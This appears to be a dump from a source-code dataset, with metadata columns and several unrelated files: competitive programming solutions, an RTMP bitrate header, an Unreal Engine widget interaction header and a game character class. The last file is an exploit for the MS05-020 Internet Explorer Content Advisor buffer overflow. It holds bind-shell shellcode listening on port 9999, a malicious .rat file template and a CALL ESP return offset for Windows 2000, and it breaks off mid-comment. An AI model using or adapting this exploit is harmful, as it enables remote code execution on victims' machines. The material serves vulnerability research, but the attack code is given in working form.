blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
264
| content_id
stringlengths 40
40
| detected_licenses
sequencelengths 0
85
| license_type
stringclasses 2
values | repo_name
stringlengths 5
140
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 986
values | visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 3.89k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 145
values | src_encoding
stringclasses 34
values | language
stringclasses 1
value | is_vendor
bool 1
class | is_generated
bool 2
classes | length_bytes
int64 3
10.4M
| extension
stringclasses 122
values | content
stringlengths 3
10.4M
| authors
sequencelengths 1
1
| author_id
stringlengths 0
158
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9b2750000a19a73ae47179d420b6761636a14990 | c38cc7081c006cd7a74b390817bc5350d5cbca87 | /C++/1425/main.cpp | 7b7fbac35187789bbca7de248abef2882d44f309 | [] | no_license | marcelopint/URI | ae244ee82c2bd0e6c065175ecb6da9a363240915 | 915b2cd64c21ffbd9a9f9d373f5f444deeb02f53 | refs/heads/master | 2021-01-22T06:06:17.178069 | 2018-07-08T20:09:28 | 2018-07-08T20:09:28 | 92,523,248 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 680 | cpp | #include <stdio.h>
#include <string.h>
#define maxL (1000000>>5)+1
#define GET(x) (mark[x>>5]>>(x&31)&1)
#define SET(x) (mark[x>>5] |= 1<<(x&31))
int mark[maxL];
int n, m;
void jump(int i, int idx) {
if(idx < 1 || idx > n || GET(m))
return;
SET(idx);
jump(i+1, idx+2*i+1);
jump(i+1, idx-2*i-1);
}
int main() {
while(scanf("%d %d", &n, &m) == 2) {
if(!n && !m) break;
if(n > 48) {
puts("Let me try!");
continue;
}
memset(mark, 0, sizeof(mark));
jump(1, 1);
if(GET(m))
puts("Let me try!");
else
puts("Don't make fun of me!");
}
return 0;
} | [
"[email protected]"
] | |
7ae4213cb8eff1a5a5a91cf8b2ac7c945b2d656a | 0d81ec8bc6420d0c049ec8485047f7857d69a27f | /src/common/kbps.hpp | 10a4a19f02c495024a22068adb12060f1a2397ba | [] | no_license | lam2003/rtmp-server | 3304ca95f59b4c10dd597fcb0ecbddbaa3fd8fab | 86a8fed6c79492333eefb9e34f73e15b8372def7 | refs/heads/master | 2020-09-23T02:39:43.274392 | 2020-04-18T03:19:53 | 2020-04-18T03:19:53 | 225,381,327 | 8 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 1,617 | hpp | #ifndef RS_KBPS_H
#define RS_KBPS_H
#include <common/core.hpp>
#include <common/io.hpp>
class IKbpsDelta
{
public:
IKbpsDelta();
virtual ~IKbpsDelta();
public:
virtual void Resample() = 0;
virtual int64_t GetSendBytesDelta() = 0;
virtual int64_t GetRecvBytesDelta() = 0;
virtual void CleanUp() = 0;
};
struct KbpsSample
{
int64_t bytes;
int64_t time;
int kbps;
KbpsSample();
};
class KbpsSlice
{
public:
union slice_io {
IStatistic *in;
IStatistic *out;
};
KbpsSlice();
virtual ~KbpsSlice();
public:
virtual int64_t GetTotalBytes();
virtual void Sample();
public:
int64_t delta_bytes;
int64_t bytes;
int64_t start_time;
int64_t end_time;
int64_t io_bytes_base;
int64_t last_bytes;
slice_io io;
KbpsSample sample_30s;
KbpsSample sample_1m;
KbpsSample sample_5m;
KbpsSample sample_60m;
};
class Kbps : public virtual IStatistic,
public virtual IKbpsDelta
{
public:
Kbps();
virtual ~Kbps();
public:
virtual void AddDelta(IKbpsDelta *delta);
virtual void Sample();
virtual void SetIO(IStatistic *in, IStatistic *out);
//IStatistic
virtual int64_t GetRecvBytes() override;
virtual int64_t GetSendBytes() override;
//IKbpsDelta
virtual void Resample() override;
virtual int64_t GetSendBytesDelta() override;
virtual int64_t GetRecvBytesDelta() override;
virtual void CleanUp() override;
private:
KbpsSlice is_;
KbpsSlice os_;
};
#endif | [
"[email protected]"
] | |
df90a2d6bd412f2194c1007642a5afb716c0e6d3 | 642c41d3d64a5cd01c48b85f8ce9cd3fd541a6d5 | /icpc_7274.cpp | f629d8cc242d644cb27e95873726d71eda56df06 | [] | no_license | YuvalFreund/CompetionalPrograming | abf1a78dfeb6f0d5ca381bc03b47b897ef193f73 | aacc2095816b5df316dc0d4c6e4c4fe74e9e58d7 | refs/heads/master | 2020-07-01T06:54:30.446637 | 2019-08-07T17:34:49 | 2019-08-07T17:34:49 | 201,081,579 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,274 | cpp | #include <iostream>
#include <vector>
#include <set>
#include <string>
#include <algorithm>
#include <math.h>
#include <stdio.h>
#include <map>
#include <queue>
using namespace std;
typedef long long ll;
int main() {
int T;
while(cin >> T) {
for (int t = 0; t < T; t++) {
int N;
cin >> N;
priority_queue<ll, vector<ll>, greater<ll>> canvases;
for (int i = 0; i < N; i++) {
ll input;
cin >> input;
canvases.push(input);
}
// Color every couple of canvases / group of canvases:
ll total_ink = 0;
while (canvases.size() > 1) {
// Color 2 canvases / group of canvases:
ll color1 = canvases.top();
canvases.pop();
ll color2 = canvases.top();
canvases.pop();
// Count the ink:
ll color_size = color1 + color2;
total_ink += color_size;
// Insert them as group:
canvases.push(color_size);
}
// Print the result:
cout << total_ink << endl;
}
}
return 0;
} | [
"[email protected]"
] | |
8683d397d1a12d350204effab64f9ec9a4067379 | c8b39acfd4a857dc15ed3375e0d93e75fa3f1f64 | /Engine/Source/Runtime/UMG/Public/Components/WidgetInteractionComponent.h | e88a24c9f09491435900bd0309fe9ca031cadcf3 | [
"MIT",
"LicenseRef-scancode-proprietary-license"
] | permissive | windystrife/UnrealEngine_NVIDIAGameWorks | c3c7863083653caf1bc67d3ef104fb4b9f302e2a | b50e6338a7c5b26374d66306ebc7807541ff815e | refs/heads/4.18-GameWorks | 2023-03-11T02:50:08.471040 | 2022-01-13T20:50:29 | 2022-01-13T20:50:29 | 124,100,479 | 262 | 179 | MIT | 2022-12-16T05:36:38 | 2018-03-06T15:44:09 | C++ | UTF-8 | C++ | false | false | 12,762 | h | // Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.
#pragma once
#include "CoreMinimal.h"
#include "UObject/ObjectMacros.h"
#include "UObject/UObjectGlobals.h"
#include "InputCoreTypes.h"
#include "Engine/EngineTypes.h"
#include "Components/SceneComponent.h"
#include "GenericPlatform/GenericApplication.h"
#include "Layout/WidgetPath.h"
#include "WidgetInteractionComponent.generated.h"
class FSlateVirtualUser;
class UPrimitiveComponent;
class UWidgetComponent;
/**
* The interaction source for the widget interaction component, e.g. where do we try and
* trace from to try to find a widget under a virtual pointer device.
*/
UENUM(BlueprintType)
enum class EWidgetInteractionSource : uint8
{
/** Sends traces from the world location and orientation of the interaction component. */
World,
/** Sends traces from the mouse location of the first local player controller. */
Mouse,
/** Sends trace from the center of the first local player's screen. */
CenterScreen,
/**
* Sends traces from a custom location determined by the user. Will use whatever
* FHitResult is set by the call to SetCustomHitResult.
*/
Custom
};
// TODO CenterScreen needs to be able to work with multiple player controllers, perhaps finding
// the PC via the outer/owner chain? Maybe you need to set the PC that owns this guy? Maybe we should
// key off the Virtual User Index?
// TODO Expose modifier key state.
// TODO Come up with a better way to let people forward a lot of keyboard input without a bunch of glue
DECLARE_DYNAMIC_MULTICAST_DELEGATE_TwoParams(FOnHoveredWidgetChanged, UWidgetComponent*, WidgetComponent, UWidgetComponent*, PreviousWidgetComponent);
/**
* This is a component to allow interaction with the Widget Component. This class allows you to
* simulate a sort of laser pointer device, when it hovers over widgets it will send the basic signals
* to show as if the mouse were moving on top of it. You'll then tell the component to simulate key presses,
* like Left Mouse, down and up, to simulate a mouse click.
*/
UCLASS(ClassGroup="UserInterface", meta=(BlueprintSpawnableComponent) )
class UMG_API UWidgetInteractionComponent : public USceneComponent
{
GENERATED_BODY()
public:
/**
* Called when the hovered Widget Component changes. The interaction component functions at the Slate
* level - so it's unable to report anything about what UWidget is under the hit result.
*/
UPROPERTY(BlueprintAssignable, Category="Interaction|Event")
FOnHoveredWidgetChanged OnHoveredWidgetChanged;
public:
UWidgetInteractionComponent(const FObjectInitializer& ObjectInitializer = FObjectInitializer::Get());
// Begin ActorComponent interface
virtual void OnComponentCreated() override;
virtual void Activate(bool bReset = false) override;
virtual void Deactivate() override;
virtual void TickComponent(float DeltaTime, enum ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction) override;
// End UActorComponent
/**
* Presses a key as if the mouse/pointer were the source of it. Normally you would just use
* Left/Right mouse button for the Key. However - advanced uses could also be imagined where you
* send other keys to signal widgets to take special actions if they're under the cursor.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual void PressPointerKey(FKey Key);
/**
* Releases a key as if the mouse/pointer were the source of it. Normally you would just use
* Left/Right mouse button for the Key. However - advanced uses could also be imagined where you
* send other keys to signal widgets to take special actions if they're under the cursor.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual void ReleasePointerKey(FKey Key);
/**
* Press a key as if it had come from the keyboard. Avoid using this for 'a-z|A-Z', things like
* the Editable Textbox in Slate expect OnKeyChar to be called to signal a specific character being
* send to the widget. So for those cases you should use SendKeyChar.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual bool PressKey(FKey Key, bool bRepeat = false);
/**
* Releases a key as if it had been released by the keyboard.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual bool ReleaseKey(FKey Key);
/**
* Does both the press and release of a simulated keyboard key.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual bool PressAndReleaseKey(FKey Key);
/**
* Transmits a list of characters to a widget by simulating a OnKeyChar event for each key listed in
* the string.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual bool SendKeyChar(FString Characters, bool bRepeat = false);
/**
* Sends a scroll wheel event to the widget under the last hit result.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
virtual void ScrollWheel(float ScrollDelta);
/**
* Get the currently hovered widget component.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
UWidgetComponent* GetHoveredWidgetComponent() const;
/**
* Returns true if a widget under the hit result is interactive. e.g. Slate widgets
* that return true for IsInteractable().
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
bool IsOverInteractableWidget() const;
/**
* Returns true if a widget under the hit result is focusable. e.g. Slate widgets that
* return true for SupportsKeyboardFocus().
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
bool IsOverFocusableWidget() const;
/**
* Returns true if a widget under the hit result is has a visibility that makes it hit test
* visible. e.g. Slate widgets that return true for GetVisibility().IsHitTestVisible().
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
bool IsOverHitTestVisibleWidget() const;
/**
* Gets the widget path for the slate widgets under the last hit result.
*/
const FWeakWidgetPath& GetHoveredWidgetPath() const;
/**
* Gets the last hit result generated by the component. Returns the custom hit result if that was set.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
const FHitResult& GetLastHitResult() const;
/**
* Gets the last hit location on the widget in 2D, local pixel units of the render target.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
FVector2D Get2DHitLocation() const;
/**
* Set custom hit result. This is only taken into account if InteractionSource is set to EWidgetInteractionSource::Custom.
*/
UFUNCTION(BlueprintCallable, Category="Interaction")
void SetCustomHitResult(const FHitResult& HitResult);
private:
/**
* Represents the virtual user in slate. When this component is registered, it gets a handle to the
* virtual slate user it will be, so virtual slate user 0, is probably real slate user 8, as that's the first
* index by default that virtual users begin - the goal is to never have them overlap with real input
* hardware as that will likely conflict with focus states you don't actually want to change - like where
* the mouse and keyboard focus input (the viewport), so that things like the player controller recieve
* standard hardware input.
*/
TSharedPtr<FSlateVirtualUser> VirtualUser;
public:
/**
* Represents the Virtual User Index. Each virtual user should be represented by a different
* index number, this will maintain separate capture and focus states for them. Each
* controller or finger-tip should get a unique PointerIndex.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Interaction", meta=( ClampMin = "0", ExposeOnSpawn = true ))
int32 VirtualUserIndex;
/**
* Each user virtual controller or virtual finger tips being simulated should use a different pointer index.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Interaction", meta=( ClampMin = "0", UIMin = "0", UIMax = "9", ExposeOnSpawn = true ))
float PointerIndex;
public:
/**
* The trace channel to use when tracing for widget components in the world.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Interaction")
TEnumAsByte<ECollisionChannel> TraceChannel;
/**
* The distance in game units the component should be able to interact with a widget component.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Interaction")
float InteractionDistance;
/**
* Should we project from the world location of the component? If you set this to false, you'll
* need to call SetCustomHitResult(), and provide the result of a custom hit test form whatever
* location you wish.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Interaction")
EWidgetInteractionSource InteractionSource;
/**
* Should the interaction component perform hit testing (Automatic or Custom) and attempt to
* simulate hover - if you were going to emulate a keyboard you would want to turn this option off
* if the virtual keyboard was separate from the virtual pointer device and used a second interaction
* component.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Interaction")
bool bEnableHitTesting;
public:
/**
* Shows some debugging lines and a hit sphere to help you debug interactions.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Debugging")
bool bShowDebug;
/**
* Determines the color of the debug lines.
*/
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category="Debugging")
FLinearColor DebugColor;
protected:
// Gets the key and char codes for sending keys for the platform.
void GetKeyAndCharCodes(const FKey& Key, bool& bHasKeyCode, uint32& KeyCode, bool& bHasCharCode, uint32& CharCode);
/** Is it safe for this interaction component to run? Might not be in a server situation with no slate application. */
bool CanSendInput();
/** Performs the simulation of pointer movement. Does not run if bEnableHitTesting is set to false. */
void SimulatePointerMovement();
struct FWidgetTraceResult
{
FWidgetTraceResult()
: HitResult()
, LocalHitLocation(FVector2D::ZeroVector)
, HitWidgetComponent(nullptr)
, HitWidgetPath()
, bWasHit(false)
, LineStartLocation(FVector::ZeroVector)
, LineEndLocation(FVector::ZeroVector)
{
}
FHitResult HitResult;
FVector2D LocalHitLocation;
UWidgetComponent* HitWidgetComponent;
FWidgetPath HitWidgetPath;
bool bWasHit;
FVector LineStartLocation;
FVector LineEndLocation;
};
/** Gets the WidgetPath for the widget being hovered over based on the hit result. */
virtual FWidgetPath FindHoveredWidgetPath(const FWidgetTraceResult& TraceResult) const;
/** Performs the trace and gets the hit result under the specified InteractionSource */
virtual FWidgetTraceResult PerformTrace() const;
/**
* Gets the list of components to ignore during hit testing. Which is everything that is a parent/sibling of this
* component that's not a Widget Component. This is so traces don't get blocked by capsules and such around the player.
*/
void GetRelatedComponentsToIgnoreInAutomaticHitTesting(TArray<UPrimitiveComponent*>& IgnorePrimitives) const;
/** Returns true if the inteaction component can interact with the supplied widget component */
bool CanInteractWithComponent(UWidgetComponent* Component) const;
protected:
/** The last widget path under the hit result. */
FWeakWidgetPath LastWidgetPath;
/** The modifier keys to simulate during key presses. */
FModifierKeysState ModifierKeys;
/** The current set of pressed keys we maintain the state of. */
TSet<FKey> PressedKeys;
/** Stores the custom hit result set by the player. */
UPROPERTY(Transient)
FHitResult CustomHitResult;
/** The 2D location on the widget component that was hit. */
UPROPERTY(Transient)
FVector2D LocalHitLocation;
/** The last 2D location on the widget component that was hit. */
UPROPERTY(Transient)
FVector2D LastLocalHitLocation;
/** The widget component we're currently hovering over. */
UPROPERTY(Transient)
UWidgetComponent* HoveredWidgetComponent;
/** The last hit result we used. */
UPROPERTY(Transient)
FHitResult LastHitResult;
/** Are we hovering over any interactive widgets. */
UPROPERTY(Transient)
bool bIsHoveredWidgetInteractable;
/** Are we hovering over any focusable widget? */
UPROPERTY(Transient)
bool bIsHoveredWidgetFocusable;
/** Are we hovered over a widget that is hit test visible? */
UPROPERTY(Transient)
bool bIsHoveredWidgetHitTestVisible;
private:
/** Returns the path to the widget that is currently beneath the pointer */
FWidgetPath DetermineWidgetUnderPointer();
private:
#if WITH_EDITORONLY_DATA
/** The arrow component we show at editor time. */
UPROPERTY()
class UArrowComponent* ArrowComponent;
#endif
};
| [
"[email protected]"
] | |
146c3fbbd6e0ebee38811c4656aa9930e9f0be6e | 68e68f57aa0f206735cbe63d5c6ddd2bedf3a5c3 | /PokemanSafari_M3/Character.cpp | 97abf5311e339e27c1d6791b4e9fd256e8943be4 | [
"MIT"
] | permissive | ilanisakov/RailShooter | 0162bd9aed5e210b47f481c64479aaeb6046f020 | 612945b96b37989927b99f50ffa96e2fe7e22e21 | refs/heads/master | 2021-01-21T06:11:16.710417 | 2015-12-12T00:16:56 | 2015-12-12T00:16:56 | 44,401,076 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,727 | cpp | /////////////////////////////////////////////////////////////////////
// File: Character.cpp
// DSA2 PokemanSafari_M1
// Authors:
// Ilan Isakov
// Marty Kurtz
// Mary Spencer
//
// Description:
//
/////////////////////////////////////////////////////////////////////
#include "Character.h"
/////////////////////////////////////////////////////////////////////
// Constructor
/////////////////////////////////////////////////////////////////////
Character::Character(CHARACTER_TYPE type, String name, float time,
std::vector<vector3> movementPath) : MyEntityClass(name)
{
this->path = movementPath; // path for the character
this->charType = type;
this->lapTime = time;
this->currentSeg = 0; //current line segment of the track
this->m_v3Position = path[0];
this->totalDistance = 0;
//getting the magnitudes of the paths
float x, y, z, mag;
nextIt = path.begin() + 1;
for (it = path.begin(); it != path.end(); ++it){
x = nextIt->x - it->x;
y = nextIt->y - it->y;
z = nextIt->z - it->z;
mag = sqrt(x * x + y * y + z * z);
pathDirection.push_back(vector3(x/mag, y/mag, z/mag));
totalDistance = totalDistance + mag;
++nextIt;
if (nextIt == path.end())
nextIt = path.begin();
}
//getting constant track speed
this->speed = totalDistance / (lapTime * 60+1000);
it = path.begin();
dirIt = pathDirection.begin();
nextIt = path.begin() + 1;
if (nextIt == path.end())
nextIt = path.begin();
}
/////////////////////////////////////////////////////////////////
// Render()
/////////////////////////////////////////////////////////////////
void Character::UpdateRender()
{
}
/////////////////////////////////////////////////////////////////
// UpdateLocation()
/////////////////////////////////////////////////////////////////
void Character::UpdateLocation(){
m_v3Velocity = vector3(dirIt->x * speed, dirIt->y * speed, dirIt->z * speed);
//MyEntityClass's Update
Update();
//checking if it's time to move onto the next path segment
if (m_v3Position.x >= nextIt->x - offset && m_v3Position.x <= nextIt->x + offset){
if (m_v3Position.y >= nextIt->y - offset && m_v3Position.y <= nextIt->y + offset){
if (m_v3Position.z >= nextIt->z - offset && m_v3Position.z <= nextIt->z + offset){
std::cout << "SWITCH" << std::endl;
it++;
if (it == path.end())
it = path.begin();
dirIt++;
if (dirIt == pathDirection.end())
dirIt = pathDirection.begin();
nextIt++;
if (nextIt == path.end())
nextIt = path.begin();
}
}
}
}
/////////////////////////////////////////////////////////////////
// GetLocation()
/////////////////////////////////////////////////////////////////
vector3 Character::GetLocation(void){
return m_v3Position;
}
| [
"[email protected]"
] | |
87d6de0f400774f98d95637129bad9ea715f37fb | 6d36922b575c1bbf69033b5ae6ce4c9edf07a529 | /homework/BinaryRelation/Source.cpp | e04ca889839d0c22c1d9ad436adb46169c85ed6b | [] | no_license | kalloyan9/OOP | 4c15711da847eff615d409a3f1693a5e2479ec64 | 7644e489dfd516de7a55c16847d54218bee26b20 | refs/heads/master | 2023-02-01T21:15:54.388755 | 2020-12-13T16:47:38 | 2020-12-13T16:47:38 | 308,402,621 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,164 | cpp | #include <iostream>
using std::cin;
using std::cout;
using std::endl;
#include <string>
using std::string;
#include "BinaryRelation.hpp"
using STRING = string;
using N = int;
#include "KnowledgeBase.hpp"
int main()
{
//test constructors
BinaryRelation<N, N> test, test3;
BinaryRelation<STRING, N> test2;
test.addRel(2, 3);
test3.addRel(9, 7);
//test addRel and operator()
//cout << test(2, 3) << endl;
//test operator!
//test operator!
//BinaryRelation<N, N> _test = !test;
//cout << _test(3, 2) << endl;
//BinaryRelation<N, N> testUnion = test + test3;//testing operator+
//BinaryRelation<N, N> testUnion = test ^ test3;//testing operator^
//cout << testUnion(9, 7) << " " << testUnion(2, 3) << " " << testUnion(1, 1) << endl;
//test += test3;//testing operator+=
//cout << test(9, 7);
cout << (test += test3) << endl;
BinaryRelation<string, double> a;
a.addRel("Levski", 19.14);
a.addRel("sw", 1999);
cout << a << endl;
KnowledgeBase<N, N> kb;
kb.add("testKB", &test);
kb.add("testKB3", &test3);
cout << kb << endl;
KnowledgeBase<string, double> testA;
testA.add("godina na suzdavane", &a);
cout << testA << endl;
return 0;
}
| [
"[email protected]"
] | |
6d317aa7a476d99a7743e21803a4371442a78758 | 2b090d51eb8b0603a02a82f03c7f8bd1a3b90893 | /DMOPC/dmopc14c2p2.cpp | b7d407c24ce04ecf3f13f7c87bc7c8be233d637e | [] | no_license | AnishMahto/Competitive-Programming-Code-and-Solutions | eecffc3a2c72cf557c48a25fa133a3a2b645cd69 | 20a7bed2cdda0efdb48b915fc4a68d6edc446f69 | refs/heads/master | 2020-04-28T14:13:25.614349 | 2019-03-13T03:07:50 | 2019-03-13T03:07:50 | 175,331,066 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,023 | cpp | #include <iostream>
#include <vector>
using namespace std;
int main() {
// your code goes here
bool prevWasX = false;
int n;
cin >> n;
int numberOfX = 0;
vector < vector <char> > logs;
vector <char> temp;
char current;
for (int x = 0; x < n; x++) {
cin >> current;
if (current == 'X') {
prevWasX = true;
numberOfX++;
} else {
if (prevWasX == false || temp.size() == 0) {
temp.push_back(current);
} else {
if (temp.size() > 0) {
logs.push_back(temp);
temp.clear();
temp.push_back(current);
}
}
prevWasX = false;
}
if (x == n - 1) {
logs.push_back(temp);
}
}
if (numberOfX == n) {
cout << 0;
} else {
cout << logs.size() << endl;
for (int x = 0; x < logs.size(); x++) {
for (int i = 0; i < logs[x].size(); i++) {
cout << logs[x][i];
} cout << endl;
}
}
return 0;
}
| [
"[email protected]"
] | |
524bc02cddee663814b51810b5f3898c621a5894 | 424bfa9f6420b46d855fb62d0aeaacb2c3d2c974 | /exploits/windows/remote/25385.cpp | 97be90e3d11d80cf0e73e47a7796882c91b3ed7f | [] | no_license | orf53975/metasploit-modules | 0873736106e4cb5e8f9e91e1c5caee72fb9ca59d | d2f3b89cce06b24cfa810c8fb44f7cf2b6ba1391 | refs/heads/master | 2021-08-23T23:44:22.017942 | 2017-12-07T03:27:10 | 2017-12-07T03:27:10 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,450 | cpp | source: http://www.securityfocus.com/bid/13117/info
Microsoft Internet Explorer is prone to a remote buffer overflow vulnerability when handling malformed Content Advisor files. An attacker can exploit this issue by crafting a Content Advisor file with excessive data and arbitrary machine code to be processed by the browser.
A typical attack would involve the attacker creating a Web site that includes the malicious file. A similar attack can also be carried out through HTML email using Microsoft Outlook and Microsoft Outlook Express applications.
It should be noted that successful exploitation requires the user to follow various steps to install a malicious file.
/*
* Ms05-020 Content Advisor Memory Corruption Vulnerability POC
*
*
* Exploit by : Miguel Tarasc� Acu�a - Haxorcitos.com 2004/2005
* Tarako AT gmail.com
*
* Credits:
* Andres Tarasc� (atarasco _at_ sia.es) has discovered this vulnerability
*
* Platforms afected/tested:
*
* - Windows 2000 SP2 Spanish
* - Windows 2000 SP3 Spanish
* - Windows 2000 SP4 Spanish
* - Probably All Windows 2000 versions
*
*
* Original Advisory: http://www.microsoft.com/technet/security/bulletin/MS05-020.mspx
* Exploit Date: 22/11/2004
*
* Disclosure Timeline:
* November 15 2004 - Discovered
* November 22 2004 - Exploit was developed
* November 29 2004 - Initial Vendor Notification
* November 29 2004 - Initial Vendor Notification
* December 15 2004 - Coordinated disclosure
* April 12 2005 - MS05-020 Released
*
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
*
* rsaci.rat POC example file:
*
* ((PICS-version 1.0)
* (rating-system "http://www.haxorcitos.com/")
* (rating-service "http://www.haxorcitos.com/index.html")
* (name "AAAAA...300...AAAAA")
* (description "msrating.dll,ClickedOnRAT() - Asesor de Contenido Bof ")
*
* after double click, msrating.dll,ClickedOnRAT() is executed. CPU registers
*
* 0:001> g
* (330.6b0): Access violation - code c0000005 (first chance)
* First chance exceptions are reported before any exception handling.
* This exception may be expected and handled.
* eax=00000000 ebx=0006f638 ecx=00010101 edx=ffffffff esi=77e1588a edi=0006f360
* eip=41414141 esp=0006f360 ebp=41414141 iopl=0 nv up ei pl zr na po nc
* cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
* 41414141 ?? ???
*
* How to get new offsets for Windows 2000:
* 1) execute generated .rat file
* 2) search for FFD4 (CALL ESP) in the memory address (for example wininet.dll)
* 3) Place your new offset into the exploit
*
*/
#include <stdio.h>
#include <windows.h>
#pragma pack(1)
#define RATFILE "rsaci.rat"
unsigned char shellcode[] = { // spawn a Shell on port 9999
"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
"\x8A\x88\xAF\x87\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
"\xD3\x4A\x8C\x88"
};
unsigned char RHeader[]="((PICS-version 1.0)\n"
"(rating-system \"http://www.haxorcitos.com\")\n"
"(rating-service \"http://www.haxorcitos.com/index.html\")\n"
"(name \"";
unsigned char RTail[]= "\")\n"
"(description \" Ms05-020 Content Advisor Memory Corruption Vulnerability\"))\n"
"(description \" http://www.microsoft.com/technet/security/bulletin/MS05-020.mspx\"))\n"
"(description \" Exploit by Miguel Tarasc� Acu�a - Tarako [AT] gmail[dot]com\"))\n";
char jmpbelow[]= "\x90\xeb\xFF\x90";
struct { char *name; long offset; } supported[] = {
{" Windows 2000 Pro SP2 Spanish" , 0x772153D3}, // FFD4 CALL ESP - wininet.dll 6.0.2900.2577
/*C:\>Findjmp.exe wininet.dll ESP
